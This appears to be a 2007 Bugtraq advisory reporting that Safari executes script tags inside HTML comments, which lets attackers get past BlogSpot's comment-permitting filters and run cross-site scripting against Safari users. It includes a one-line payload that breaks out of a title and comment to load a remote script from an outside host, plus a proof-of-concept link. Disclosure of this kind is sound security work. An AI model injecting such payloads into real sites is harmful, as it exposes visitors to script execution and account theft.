Bugtraq mailing list archives
Safari Improperly Parses HTML Documents & BlogSpot XSS vulnerability
From: Jose Avila III <jose () onzra com>
Date: Tue, 23 Jan 2007 00:44:13 -0700
Overview:Safari on occasions may improperly parse the source of an HTML document, which can lead to the execution of html tags within comments. This can become dangerous when input filters allow html tags within comments, as they will get parsed and executed under certain circumstances.
Details:In some cases you can cause Apple’s Safari browser to execute code when it should not be executed. In the following example everything within the comment, in theory should never be executed; however, safari decides to execute the script tag.
<title>myblog<!--</title></head><body><script src=http://beanfuzz.com/ bean.js> --></title>
Blogs hosted on BlogSpot.com have filter mechanisms for their input; however, they will allow you to inject anything within comments. This made it possible to cross site script blogspot.com. Note: Only Safari viewers will be affected.
Proof of concept: http://dirtybean1234.blogspot.com/Initial release of vulnerability: http://www.beanfuzz.com/wordpress/? p=99
Vendor Response: I was unable to get a response from the vendor in regards to this issue Questions / Comments: Jose (at) onzra (dot) com ---- Register for my RSA 2007 Training Course "Creative Web Protocol Attacks, Beyond Web Hacking" February 4, 5 2007 San Francisco https://cm.rsaconference.com/US07/catalog/eventguide/publicSchedule.jsp
Current thread:
- Safari Improperly Parses HTML Documents & BlogSpot XSS vulnerability Jose Avila III (Jan 23)
- Re: Safari Improperly Parses HTML Documents & BlogSpot XSS vulnerability Robert Tasarz (Jan 24)